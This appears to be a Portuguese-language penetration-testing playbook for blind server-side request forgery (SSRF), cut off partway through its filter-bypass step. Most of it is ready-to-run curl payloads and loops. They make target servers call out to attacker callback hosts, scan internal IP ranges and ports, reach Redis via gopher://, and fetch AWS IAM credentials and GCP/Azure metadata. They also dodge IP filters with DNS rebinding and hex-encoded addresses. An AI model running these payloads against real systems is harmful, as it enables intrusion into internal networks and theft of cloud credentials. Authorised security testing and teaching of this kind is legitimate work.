Realizando Exploração de SSRF Cego

Quando Usar

• Ao testar parâmetros de entrada de URL/webhook onde as respostas do lado do servidor não são refletidas
• Durante a avaliação de aplicações que buscam recursos externos (avatares, pré-visualizações, importações)
• Ao testar geradores de PDF, processadores de imagem ou conversores de documentos para SSRF
• Durante avaliações de segurança em nuvem para detectar acesso a endpoints de metadados
• Ao avaliar a funcionalidade de webhook e implementações de validação de URL

Pré-requisitos

• Burp Suite Professional com Burp Collaborator para detecção OOB
• interact.sh ou webhook.site para monitoramento de callback externo
• Compreensão de vetores de ataque SSRF e enumeração de rede interna
• Conhecimento de endpoints de metadados em nuvem (AWS, GCP, Azure)
• VPS ou servidor controlado para tratamento avançado de callback de exploração
• Python com a biblioteca requests para scripts de automação

Fluxo de Trabalho

Passo 1 — Identificar Pontos de Entrada de SSRF Cego

# Common SSRF-susceptible parameters:
# url=, uri=, path=, dest=, redirect=, src=, source=
# link=, imageURL=, callback=, webhook=, feed=, import=

# Test URL fetch functionality
curl -X POST http://target.com/api/fetch-url \
  -H "Content-Type: application/json" \
  -d '{"url": "http://BURP-COLLABORATOR-SUBDOMAIN.oastify.com"}'

# Test webhook configuration
curl -X POST http://target.com/api/webhooks \
  -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"callback_url": "http://COLLABORATOR.oastify.com/webhook"}'

# Test image/avatar URL
curl -X POST http://target.com/api/profile/avatar \
  -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"avatar_url": "http://COLLABORATOR.oastify.com/avatar.png"}'

# Test document import
curl -X POST http://target.com/api/import \
  -H "Content-Type: application/json" \
  -d '{"import_url": "http://COLLABORATOR.oastify.com/data.csv"}'

Passo 2 — Confirmar SSRF Cego com Detecção Out-of-Band

# Use Burp Collaborator for DNS + HTTP callbacks
# Generate collaborator payload: xxxxxx.oastify.com

# DNS-based detection (works even with HTTP blocked)
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://dns-only-test.COLLABORATOR.oastify.com"}'
# Check Collaborator for DNS lookups

# HTTP-based detection
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://http-test.COLLABORATOR.oastify.com"}'
# Check for HTTP requests in Collaborator

# interact.sh alternative
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://RANDOM.interact.sh"}'
# Monitor interact.sh dashboard for interactions

Passo 3 — Enumerar Rede Interna

# Scan internal IP ranges via blind SSRF
# Use timing differences to determine if hosts are alive

# Scan common internal ranges
for ip in 10.0.0.{1..10} 172.16.0.{1..10} 192.168.1.{1..10}; do
  start=$(date +%s%N)
  curl -X POST http://target.com/api/fetch -d "{\"url\": \"http://$ip/\"}" -s -o /dev/null --max-time 5
  end=$(date +%s%N)
  elapsed=$(( (end - start) / 1000000 ))
  echo "$ip: ${elapsed}ms"
done

# Port scanning via blind SSRF
for port in 80 443 8080 8443 3000 5000 6379 27017 5432 3306 9200; do
  curl -X POST http://target.com/api/fetch \
    -d "{\"url\": \"http://127.0.0.1:$port/\"}" -s -o /dev/null -w "%{time_total}\n"
  echo "Port $port tested"
done

# Use gopher:// for more advanced internal service interaction
curl -X POST http://target.com/api/fetch \
  -d '{"url": "gopher://127.0.0.1:6379/_INFO"}'

Passo 4 — Acessar Endpoints de Metadados em Nuvem

# AWS metadata (IMDSv1)
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/latest/meta-data/"}'

# AWS IAM credentials
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# GCP metadata
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://metadata.google.internal/computeMetadata/v1/"}'

# Azure metadata
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}'

# DNS rebinding for metadata access (bypass IP blocking)
# Use services like rebinder.net to create DNS rebinding domains
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://A.169.254.169.254.1time.YOUR-REBIND-DOMAIN.com/"}'

Passo 5 — Contornar Filtros de SSRF

# Contorno de representação de IP
curl -X POST http://target.com/api/fetch -d '{"url": "http://0x7f000001/"}'       # Hex

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